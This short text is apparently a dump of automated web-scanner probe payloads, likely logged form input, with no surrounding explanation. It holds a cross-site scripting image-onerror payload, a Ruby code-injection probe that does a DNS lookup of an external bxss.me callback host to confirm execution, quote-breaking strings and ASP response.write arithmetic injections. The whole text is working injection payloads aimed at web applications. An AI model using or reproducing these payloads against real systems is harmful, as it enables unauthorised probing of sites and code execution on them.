<img src="x" onerror="alert('XSS1')">

'A'.concat(70-3).concat(22*4).concat(101).concat(68).concat(104).concat(69)+(require'socket'
Socket.gethostbyname('hitjb'+'gtvpydnb4b33a.bxss.me.')[3].to_s)

'"

<!--

1

response.write(9018391*9208779)

'+response.write(9018391*9208779)+'

1

1

"+response.write(9018391*9208779)+"

1